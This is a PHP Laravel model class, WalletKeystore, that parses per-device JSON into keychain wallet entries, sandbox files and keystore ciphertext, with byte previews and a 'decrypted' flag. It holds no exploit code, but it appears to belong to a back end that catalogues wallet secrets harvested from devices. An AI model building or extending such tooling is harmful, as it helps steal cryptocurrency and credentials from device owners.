<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Model;
use Illuminate\Database\Eloquent\Relations\BelongsTo;

class WalletKeystore extends Model
{
    protected $fillable = [
        'device_id', 'source', 'decrypted', 'raw_json',
    ];

    protected function casts(): array
    {
        return [
            'raw_json' => 'array',
            'decrypted' => 'integer',
        ];
    }

    public function sourceLabel(): string
    {
        $source = trim((string) $this->source);

        return $source !== '' ? $source : '未知';
    }

    public function kind(): string
    {
        return is_array($this->raw_json) ? trim((string) ($this->raw_json['kind'] ?? '')) : '';
    }

    public function kindLabel(): string
    {
        return match ($this->kind()) {
            'keychain.wallets' => '钥匙串',
            'sandbox' => '沙盒文件',
            default => $this->kind() !== '' ? $this->kind() : '未知',
        };
    }

    /**
     * @return list<array{
     *   account: string,
     *   service: string,
     *   access_group: string,
     *   protection_class: string,
     *   path: string,
     *   data_len: int,
     *   data_preview: string
     * }>
     */
    public function listedItems(): array
    {
        $json = is_array($this->raw_json) ? $this->raw_json : [];
        $out = [];
        $wallets = $json['wallets'] ?? null;
        if (is_array($wallets)) {
            foreach ($wallets as $bucket) {
                $items = is_array($bucket['items'] ?? null) ? $bucket['items'] : [];
                foreach ($items as $item) {
                    if (is_array($item)) {
                        $out[] = $this->normalizeItem($item);
                    }
                }
            }
        }
        $sandbox = $json['sandbox'] ?? null;
        if (is_array($sandbox)) {
            $out = array_merge($out, $this->sandboxItems($sandbox));
        }
        if (isset($json['crypto']) && is_array($json['crypto'])) {
            $out[] = $this->normalizeItem([
                'account' => (string) ($json['id'] ?? $json['type'] ?? 'keystore'),
                'path' => 'crypto',
                'dataHex' => (string) ($json['crypto']['ciphertext'] ?? ''),
            ]);
        }

        return $out;
    }

    public function itemCount(): int
    {
        return count($this->listedItems());
    }

    public function summary(): string
    {
        $names = [];
        foreach ($this->listedItems() as $item) {
            $name = $item['account'] !== '' ? $item['account'] : $item['path'];
            if ($name !== '') {
                $names[] = $name;
            }
            if (count($names) >= 3) {
                break;
            }
        }
        $n = $this->itemCount();
        if ($names === []) {
            return $n > 0 ? $n.' 条' : '';
        }
        $text = implode(' · ', $names);
        if ($n > 3) {
            $text .= ' 等'.$n.'条';
        }

        return $text;
    }

    public function device(): BelongsTo
    {
        return $this->belongsTo(Device::class);
    }

    /**
     * @param  array<string, mixed>  $item
     * @return array{
     *   account: string,
     *   service: string,
     *   access_group: string,
     *   protection_class: string,
     *   path: string,
     *   data_len: int,
     *   data_preview: string
     * }
     */
    private function normalizeItem(array $item): array
    {
        $hex = (string) ($item['dataHex'] ?? '');
        $bin = '';
        if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
            $bin = (string) hex2bin($hex);
        } elseif (isset($item['data']) && is_string($item['data'])) {
            $bin = $item['data'];
        }

        return [
            'account' => trim((string) ($item['account'] ?? '')),
            'service' => trim((string) ($item['service'] ?? '')),
            'access_group' => trim((string) ($item['accessGroup'] ?? $item['access_group'] ?? '')),
            'protection_class' => (string) ($item['protectionClass'] ?? $item['class'] ?? ''),
            'path' => trim((string) ($item['path'] ?? '')),
            'data_len' => strlen($bin),
            'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
        ];
    }

    /**
     * @param  array<string, mixed>  $sandbox
     * @return list<array{
     *   account: string,
     *   service: string,
     *   access_group: string,
     *   protection_class: string,
     *   path: string,
     *   data_len: int,
     *   data_preview: string
     * }>
     */
    private function sandboxItems(array $sandbox, string $prefix = ''): array
    {
        $out = [];
        foreach ($sandbox as $key => $value) {
            $path = $prefix === '' ? (string) $key : $prefix.'/'.$key;
            if (is_array($value)) {
                if (isset($value['items']) && is_array($value['items'])) {
                    foreach ($value['items'] as $item) {
                        if (is_array($item)) {
                            $out[] = $this->normalizeItem($item);
                        }
                    }

                    continue;
                }
                $out = array_merge($out, $this->sandboxItems($value, $path));

                continue;
            }
            if (! is_string($value) || $value === '') {
                continue;
            }
            $bin = base64_decode($value, true);
            if ($bin === false) {
                $bin = $value;
            }
            $out[] = $this->normalizeItem([
                'account' => basename($path),
                'path' => $path,
                'data' => $bin,
            ]);
        }

        return $out;
    }

    private function previewBytes(string $raw): string
    {
        if ($raw === '') {
            return '';
        }
        if (mb_check_encoding($raw, 'UTF-8') && preg_match('/^[\x09\x0A\x0D\x20-\x7E]{1,256}$/', $raw)) {
            return $raw;
        }
        $hex = bin2hex($raw);

        return strlen($hex) > 48 ? substr($hex, 0, 48).'…' : $hex;
    }
}